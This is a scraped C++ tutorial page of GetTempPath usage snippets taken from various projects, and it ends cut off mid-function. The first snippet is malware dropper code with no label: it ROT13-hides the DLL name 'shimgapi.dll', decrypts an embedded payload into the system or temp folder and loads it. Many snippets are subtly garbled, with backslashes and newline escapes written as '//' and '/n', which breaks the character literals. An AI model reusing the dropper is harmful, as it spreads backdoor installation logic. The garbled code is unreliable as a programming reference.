自学教程：C++ GetTempPath函数代码示例

void payload_xproxy(struct sync_t *sync){	char fname[20], fpath[MAX_PATH+20];	HANDLE hFile;	int i;	rot13(fname, "fuvztncv.qyy");   /* "shimgapi.dll" */	sync->xproxy_state = 0;	for (i=0; i<2; i++) {		if (i == 0)			GetSystemDirectory(fpath, sizeof(fpath));		else			GetTempPath(sizeof(fpath), fpath);		if (fpath[0] == 0) continue;		if (fpath[lstrlen(fpath)-1] != '//') lstrcat(fpath, "//");		lstrcat(fpath, fname);		hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,			NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);		if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {			if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)				continue;			sync->xproxy_state = 2;			lstrcpy(sync->xproxy_path, fpath);			break;		}		decrypt1_to_file(xproxy_data, sizeof(xproxy_data), hFile);		CloseHandle(hFile);		sync->xproxy_state = 1;		lstrcpy(sync->xproxy_path, fpath);		break;	}	if (sync->xproxy_state == 1) {		LoadLibrary(sync->xproxy_path);		sync->xproxy_state = 2;	}}

const char *lcb_get_tmpdir(void){#if defined(_WIN32)    static char buf[MAX_PATH+1] = { 0 };    if (buf[0]) {        return buf;    }    GetTempPath(sizeof buf, buf);    return buf;#else    const char *ret;    if ((ret = getenv("TMPDIR")) != NULL) {        return ret;    } else {    #if defined(_POSIX_VERSION)        return "/tmp";    #else        return ".";    #endif    }#endif}

    TestingSetup() {        fPrintToDebugLog = false; // don't want to write to debug.log file        noui_connect();#ifdef ENABLE_WALLET        bitdb.MakeMock();#endif        pathTemp = GetTempPath() / strprintf("test_sidecoin_%lu_%i", (unsigned long)GetTime(), (int)(GetRand(100000)));        boost::filesystem::create_directories(pathTemp);        mapArgs["-datadir"] = pathTemp.string();        pblocktree = new CBlockTreeDB(1 << 20, true);        pcoinsdbview = new CCoinsViewDB(1 << 23, true);        pcoinsTip = new CCoinsViewCache(*pcoinsdbview);        InitBlockIndex();#ifdef ENABLE_WALLET        bool fFirstRun;        pwalletMain = new CWallet("wallet.dat");        pwalletMain->LoadWallet(fFirstRun);        RegisterWallet(pwalletMain);#endif        nScriptCheckThreads = 3;        for (int i=0; i < nScriptCheckThreads-1; i++)            threadGroup.create_thread(&ThreadScriptCheck);        RegisterNodeSignals(GetNodeSignals());    }

static void scanDirs(void){	HMODULE hModule = GetModuleHandleW(NULL);	char path[MAX_PATH];	int pathlength;	//Fetch absolue .exe path	pathlength = GetModuleFileName(hModule, path, MAX_PATH);		dataDir = calloc(pathlength + 1, sizeof(char));	memcpy(dataDir, path, pathlength);	ccStringTrimToChar(dataDir, '//', true);	ccStringReplaceChar(dataDir, '//', '/');	//User dir	userDir = USERHOME;	//Temp directory	pathlength = GetTempPath(MAX_PATH, path);	tempDir = calloc(pathlength + 1, sizeof(char));	memcpy(tempDir, path, pathlength);	ccStringReplaceChar(tempDir, '//', '/');}

const char * MWindow::getTempDirectory(void){	static char tempDirectory[256];	TCHAR shortPath[MAX_PATH];	GetTempPath(MAX_PATH, shortPath);	LPCTSTR lpszShortPath = shortPath;	DWORD buffSize = MAX_PATH;	LPTSTR lpszLongPath = (LPTSTR)malloc(buffSize *sizeof(TCHAR));	DWORD result = GetLongPathName(lpszShortPath, lpszLongPath, buffSize);	if(result > MAX_PATH)	{		delete lpszLongPath;		buffSize = result;		lpszLongPath = (LPTSTR)malloc(buffSize*sizeof(TCHAR));		if(! GetLongPathName(lpszShortPath, lpszLongPath, buffSize))			return NULL;	}	strcpy(tempDirectory, lpszLongPath);	return tempDirectory;}

MBASEAPI BOOL MIRACLEEXPORT mirGetTempFileName(CString &FileName){	const int buffersize = FILE_PATH_MAX;	TCHAR szTempPath[buffersize];	TCHAR szTempName[buffersize];	DWORD dwRetVal = GetTempPath(buffersize,szTempPath); // buffer for path 	if (dwRetVal > buffersize || (dwRetVal == 0))	{		logErrorVA("GetTempPath failed (%d)/n", GetLastError());		return FALSE;	}	UINT uRetVal = GetTempFileName(szTempPath, // directory for tmp files		TEXT("MIF"),  // temp file name prefix 		0,            // create unique name 		szTempName);  // buffer for name 	if (uRetVal == 0)	{		logErrorVA("GetTempFileName failed (%d)/n", GetLastError());		return FALSE;	}		FileName = szTempName;	return TRUE;}

const char* plat_gettmpdir(){    static char s_tmpdir[MAX_PATH];    if (!s_tmpdir[0])    {        DWORD ret = GetTempPath(MAX_PATH, s_tmpdir);        if ((ret == 0) || (ret > MAX_PATH))        {            // Ugh. Try several environment variables and just            //  set to c://temp if all those fail.            const char *tmpdir = getenv("TMP");            if (!tmpdir)            {                tmpdir = getenv("TEMP");                if (!tmpdir)                {                    tmpdir = getenv("USERPROFILE");                    if (!tmpdir)                        tmpdir = "c://temp";                }            }            strncpy(s_tmpdir, tmpdir, sizeof(s_tmpdir));            s_tmpdir[sizeof(s_tmpdir) - 1] = 0;        }        // Remove trailing slash.        size_t slen = strlen(s_tmpdir);        if ((slen > 0) && (s_tmpdir[slen - 1] == '//'))            s_tmpdir[--slen] = 0;    }    return s_tmpdir;}

// dllmainBOOL WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID) {	g_hInst = hInst;	if( dwReason == DLL_PROCESS_ATTACH ) {		{		char temp[MAX_PATH];		GetTempPath(sizeof(temp),temp);		GetLongPathName(temp,TEMP,sizeof(TEMP));		TEMP_SIZE = strlen(TEMP);		if(TEMP[TEMP_SIZE-1]=='//') {			TEMP_SIZE--;			TEMP[TEMP_SIZE]='/0';		}		}		InitializeCriticalSection(&localQueueMutex);		InitializeCriticalSection(&localContextMutex);#ifdef _DEBUG		isVista = 1;#else		isVista = ( (DWORD)(LOBYTE(LOWORD(GetVersion()))) == 6 );#endif	}	//DLL_THREAD_ATTACH	return TRUE;}

bool EVUtil::ODBCGetOLEImage( int iID,CString& strName ){	if(m_db.IsOpen())	{		CdbImages rs(&m_db);		//CString sql;		//sql.Format(_T("select * from 数据 where id=%d "),iID);		//rs.Open(CRecordset::dynaset,sql);//*/		rs.Open();		if(rs.IsOpen())		{			rs.MoveFirst();			while(!rs.IsEOF())			{				if ( rs.m_iID!=iID )				{					rs.MoveNext();					continue;				}				TCHAR    tmpPath[_MAX_PATH+1];				GetTempPath(_MAX_PATH,tmpPath);				strName.Insert(0,tmpPath);				CFile	outFile(strName,CFile::modeCreate|CFile::modeWrite);				LPSTR	buffer = (LPSTR)GlobalLock(rs.m_BLOBImage.m_hData);				outFile.Write(buffer,rs.m_BLOBImage.m_dwDataLength);				GlobalUnlock(rs.m_BLOBImage.m_hData);				outFile.Close();				break;			}		}	}	return false;}

void CorePlugin::enableLog() {#ifdef DEBUG#ifdef WIN32	WCHAR szPath[MAX_PATH];	WCHAR szFileName[MAX_PATH];	WCHAR* szAppName = TEXT(FBSTRING_PluginFileName);	DWORD dwBufferSize = MAX_PATH;	SYSTEMTIME stLocalTime;	GetLocalTime(&stLocalTime);	GetTempPath(dwBufferSize, szPath);	//ExpandEnvironmentStrings(L"%SYSTEMDRIVE%", szPath, MAX_PATH);	//StringCchCat(szPath, MAX_PATH, L"//TEMP//");	StringCchPrintf(szFileName, MAX_PATH, L"%s//%s-%04d%02d%02d-%02d%02d%02d-%ld-%ld.log",		szPath, szAppName,		stLocalTime.wYear, stLocalTime.wMonth, stLocalTime.wDay,		stLocalTime.wHour, stLocalTime.wMinute, stLocalTime.wSecond,		GetCurrentProcessId(), GetCurrentThreadId());	s_log_file = _wfopen(szFileName, L"w+");#endif //WIN32#endif //DEBUG	linphone_core_enable_logs_with_cb(CorePlugin::log);}

CString CHttpFileDownload::GetDownPath(){	switch (m_nDownMethod){		case HTTP_DOWNLOAD_PATH_EXECUTE:			m_strDownPath = GetExecutePath();			break;		case HTTP_DOWNLOAD_PATH_TEMP:			m_strDownPath = GetTempPath();			break;				case HTTP_DOWNLOAD_PATH_USER:			if(SetDownPath(m_strDownPath)){				if(!CheckFolder(m_strDownPath))					m_strDownPath = "";			}			break;				default:			m_strDownPath = "";	}	return m_strDownPath;}

BOOL CDBFExplorerDoc::OnNewDocument(){	if (!CDocument::OnNewDocument())		return FALSE;	CStructureDlg dlg(AfxGetMainWnd());	dlg.m_strTitle = _T("Create New DBF file");	if (dlg.DoModal() == IDOK)	{		TCHAR szPath[MAX_PATH];		GetTempPath(_countof(szPath), szPath);      _tmakepath(m_szTempFileName, NULL, szPath, GetTitle(), _T(DBF_FILEEXT));		if (m_dBaseFile->Create(m_szTempFileName, dlg.m_strFieldArray) == DBASE_SUCCESS)		{			if (OnOpenDocument(m_szTempFileName))			{				SetModifiedFlag(TRUE);				return TRUE;			}			return FALSE;		}	}	return FALSE;}

HANDLE alloctmpfile(TCHAR *tmpfilename, int namelen, size_w length){	HANDLE hFile;	if(namelen < MAX_PATH)		return 0;	if(GetTempPath(namelen, tmpfilename))	{		if(GetTempFileName(tmpfilename, TEXT("~HX"), 0, tmpfilename))		{			hFile = allocfile(tmpfilename, length);			if(hFile != INVALID_HANDLE_VALUE)			{				return hFile;			}			DeleteFile(tmpfilename);		}	}	return 0;}

FILE *					/* O - Temporary file */file_temp(char *name,			/* O - Filename */          int  len)			/* I - Length of filename buffer */{  FILE		*fp;			/* File pointer */  int		fd;			/* File descriptor */#ifdef WIN32  char		tmpdir[1024];		/* Buffer for temp dir */#else  const char	*tmpdir;		/* Temporary directory */#endif /* WIN32 */  web_cache[web_files].name = NULL;  web_cache[web_files].url  = NULL;  web_files ++;#ifdef WIN32  GetTempPath(sizeof(tmpdir), tmpdir);#else  if ((tmpdir = getenv("TMPDIR")) == NULL)    tmpdir = "/var/tmp";#endif /* WIN32 */  snprintf(name, len, TEMPLATE, tmpdir, getpid(), web_files);  if ((fd = open(name, OPENMODE, OPENPERM)) >= 0)    fp = fdopen(fd, "w+b");  else    fp = NULL;  if (!fp)    web_files --;  return (fp);}

BOOL InitGlobal(){    //g_TEMP_BASE_PATH: Get the system temporary path    DWORD dwLenInstallerPath = MAX_PATH_SIZE;    GetTempPath(dwLenInstallerPath, (LPTSTR)g_TEMP_BASE_PATH);    //g_TEMP_JAVAWS_PATH: Generate a unique temporary directory    GetTempDirName(g_TEMP_BASE_PATH, g_TEMP_JAVAWS_PATH);    CreateDirectory(g_TEMP_JAVAWS_PATH, NULL);    //Get Javaws home path    if(GetJavawsHome() == 0)    {        return false;    };    //g_TEMP_INSTALLER_JAR: Get the full path name for the jar file to be generated    sprintf(g_TEMP_INSTALLER_JAR, "%s//%s", g_TEMP_JAVAWS_PATH, "installer.jar");    //g_TEMP_JAVAWS_URL: Get the url mode of installer.jar's path    char tempUrl[MAX_PATH_SIZE] = {0};    int iNumber = 0;    while (g_TEMP_JAVAWS_PATH[iNumber]) {        for(int i=0; i<sizeof(g_TEMP_JAVAWS_PATH); i++) {            if(g_TEMP_JAVAWS_PATH[i]=='//') {                tempUrl[i] = '/';            } else {                tempUrl[i] = g_TEMP_JAVAWS_PATH[i];            }        }        iNumber++;    }    sprintf(g_TEMP_JAVAWS_URL, "file:///%s", tempUrl);    return true;}

 static bool RemoveEntryFromGarbageRegistry(const char* filename) {     char gbgFile[2048];     GetTempPath(2048, gbgFile);     strcat(gbgFile, "VBATempFileRecords");     char key[64];     int i = 0;     int deleteSlot = -1;     while(true)     {         sprintf(key, "File%d", i);         GetPrivateProfileString("Files", key, "", Str_Tmp, 2048, gbgFile);         if(!*Str_Tmp)             break;         if(!strcmp(Str_Tmp, filename))             deleteSlot = i;         i++;     }     --i;     if(i >= 0 && deleteSlot >= 0)     {         if(i != deleteSlot)         {             sprintf(key, "File%d", i);             GetPrivateProfileString("Files", key, "", Str_Tmp, 2048, gbgFile);             sprintf(key, "File%d", deleteSlot);             WritePrivateProfileString("Files", key, Str_Tmp, gbgFile);         }         sprintf(key, "File%d", i);         if(0 == WritePrivateProfileString("Files", key, NULL, gbgFile))             return false;     }     if(i <= 0 && deleteSlot == 0)         _unlink(gbgFile);     return true; }

int getTempPath(char *buff){    int i;    char *ret;    char prefix[16];    GetTempPath(MAX_PATH, buff);    sprintf(prefix, "_MEI%d", getpid());    // Windows does not have a race-free function to create a temporary    // directory. Thus, we rely on _tempnam, and simply try several times    // to avoid stupid race conditions.    for (i=0;i<5;i++) {        ret = _tempnam(buff, prefix);        if (mkdir(ret) == 0) {            strcpy(buff, ret);            strcat(buff, "//");            free(ret);            return 1;        }        free(ret);    }    return 0;}

TestingSetup::TestingSetup(CBaseChainParams::Network network) : BasicTestingSetup(network){#ifdef ENABLE_WALLET        bitdb.MakeMock();#endif        ClearDatadirCache();        pathTemp = GetTempPath() / strprintf("test_drivercoin_%lu_%i", (unsigned long)GetTime(), (int)(GetRand(100000)));        boost::filesystem::create_directories(pathTemp);        mapArgs["-datadir"] = pathTemp.string();        pblocktree = new CBlockTreeDB(1 << 20, true);        pcoinsdbview = new CCoinsViewDB(1 << 23, true);        pcoinsTip = new CCoinsViewCache(pcoinsdbview);        InitBlockIndex();#ifdef ENABLE_WALLET        bool fFirstRun;        pwalletMain = new CWallet("wallet.dat");        pwalletMain->LoadWallet(fFirstRun);        RegisterValidationInterface(pwalletMain);#endif        nScriptCheckThreads = 3;        for (int i=0; i < nScriptCheckThreads-1; i++)            threadGroup.create_thread(&ThreadScriptCheck);        RegisterNodeSignals(GetNodeSignals());}

Bool APIENTRY DllMain( HINSTANCE  hModule,uint32_t ul_reason_for_call,                        pvoid lpReserved ){	char * p;    switch( ul_reason_for_call )	{    case DLL_PROCESS_ATTACH:		ghInst = hModule;		GetModuleFileName(hModule,szPath,sizeof(szPath));		if(p = strstr(_strupr(szPath),"cuneiform.dll"))			*(p-1)=0;		else		{			MessageBox(NULL,"Start folder cuneiform.dll not found!",NULL,MB_ICONSTOP);			return FALSE;		}		if(GetTempPath(sizeof(szTempPath),szTempPath))			sprintf(szStorage,szFormatStorageName,szTempPath);		else		{			MessageBox(NULL,"Temporary folder PUMA.DLL not found!",NULL,MB_ICONSTOP);			return FALSE;		}		break;    case DLL_THREAD_ATTACH:		break;    case DLL_THREAD_DETACH:		break;    case DLL_PROCESS_DETACH:		break;    }    return TRUE;}

WDL_SHM_Connection::WDL_SHM_Connection(bool whichChan,                      const char *uniquestring, // identify                       int shmsize, // bytes, whoever opens first decides                      int timeout_sec                    ){  m_timeout_sec=timeout_sec;  m_last_recvt=time(NULL)+2; // grace period  { // make shmsize the next power of two    int a = shmsize;    shmsize=2;    while (shmsize < SHM_MINSIZE || shmsize<a) shmsize*=2;  }  m_file=INVALID_HANDLE_VALUE;  m_filemap=NULL;  m_mem=NULL;  m_events[0]=m_events[1]=NULL;  m_whichChan=whichChan ? 1 : 0;  char buf[512];  GetTempPath(sizeof(buf)-4,buf);  if (!buf[0]) lstrcpyn(buf,"C://",32);  if (buf[strlen(buf)-1] != '/' && buf[strlen(buf)-1] != '//') strcat(buf,"//");  m_tempfn.Set(buf);  m_tempfn.Append("WDL_SHM_");  m_tempfn.Append(uniquestring);  m_tempfn.Append(".tmp");  HANDLE mutex=NULL;  {    WDL_String tmp;    tmp.Set("WDL_SHM_");    tmp.Append(uniquestring);    tmp.Append(".mutex");    mutex = CreateMutex(NULL,FALSE,tmp.Get());  }  if (mutex) WaitForSingleObject(mutex,INFINITE);  DeleteFile(m_tempfn.Get()); // this is designed to fail if another process has it locked  m_file=CreateFile(m_tempfn.Get(),GENERIC_READ|GENERIC_WRITE,        FILE_SHARE_READ|FILE_SHARE_WRITE ,        NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_TEMPORARY,NULL);    int mapsize;  if (m_file != INVALID_HANDLE_VALUE &&         ((mapsize=GetFileSize(m_file,NULL)) < SHM_HDRSIZE+SHM_MINSIZE*2 ||           mapsize == 0xFFFFFFFF))  {    WDL_HeapBuf tmp;    memset(tmp.Resize(shmsize*2 + SHM_HDRSIZE),0,shmsize*2 + SHM_HDRSIZE);    ((int *)tmp.Get())[0] = shmsize;    DWORD d;    WriteFile(m_file,tmp.Get(),tmp.GetSize(),&d,NULL);  }  if (mutex)   {    ReleaseMutex(mutex);    CloseHandle(mutex);  }  if (m_file!=INVALID_HANDLE_VALUE)    m_filemap=CreateFileMapping(m_file,NULL,PAGE_READWRITE,0,0,NULL);  if (m_filemap)  {    m_mem=(unsigned char *)MapViewOfFile(m_filemap,FILE_MAP_WRITE,0,0,0);    WDL_String tmp;    if (!(GetVersion()&0x80000000)) tmp.Set("Global//WDL_SHM_");    else tmp.Set("WDL_SHM_");    tmp.Append(uniquestring);    tmp.Append(".1");    m_events[0]=CreateEvent(NULL,false,false,tmp.Get());    tmp.Get()[strlen(tmp.Get())-1]++;     m_events[1]=CreateEvent(NULL,false,false,tmp.Get());  }}

void MMapFile::resize(__int64 newsize){  release();  if (newsize > m_iSize)  {#ifdef _WIN32    if (m_hFileMap)      CloseHandle(m_hFileMap);    m_hFileMap = 0;#endif    m_iSize = newsize;#ifdef _WIN32    if (m_hFile == INVALID_HANDLE_VALUE)    {      TCHAR buf[MAX_PATH], buf2[MAX_PATH];      GetTempPath(MAX_PATH, buf);      GetTempFileName(buf, _T("nsd"), 0, buf2);      m_hFile = CreateFile(        buf2,        GENERIC_READ | GENERIC_WRITE,        0,        NULL,        CREATE_ALWAYS,        FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE | FILE_FLAG_SEQUENTIAL_SCAN,        NULL      );      m_bTempHandle = TRUE;    }    if (m_hFile != INVALID_HANDLE_VALUE)    {      m_hFileMap = CreateFileMapping(        m_hFile,        NULL,        m_bReadOnly ? PAGE_READONLY : PAGE_READWRITE,        HIDWORD(m_iSize),        LODWORD(m_iSize),        NULL      );    }#else    if (m_hFile == NULL)    {      m_hFile = tmpfile();      if (m_hFile != NULL)      {        m_hFileDesc = fileno(m_hFile);        m_bTempHandle = TRUE;      }    }    // resize    if (m_hFileDesc != -1)    {      unsigned char c = 0;      if (lseek(m_hFileDesc, m_iSize, SEEK_SET) != (off_t)-1)      {        if (read(m_hFileDesc, &c, 1) != -1)        {          if (lseek(m_hFileDesc, m_iSize, SEEK_SET) != (off_t)-1)          {            if (write(m_hFileDesc, &c, 1) != -1)            {              return; // no errors            }          }        }      }    }    m_hFileDesc = -1; // some error occurred, bail#endif#ifdef _WIN32    if (!m_hFileMap)#else    if (m_hFileDesc == -1)#endif    {      extern void quit(); extern int g_display_errors;      if (g_display_errors)      {        PrintColorFmtMsg_ERR(_T("/nInternal compiler error #12345: error creating mmap the size of %I64d./n"), m_iSize);      }      quit();    }  }}

void DlgSMTP::OnBtnlaheta() {    // K
C++ GetTempPathA函数代码示例
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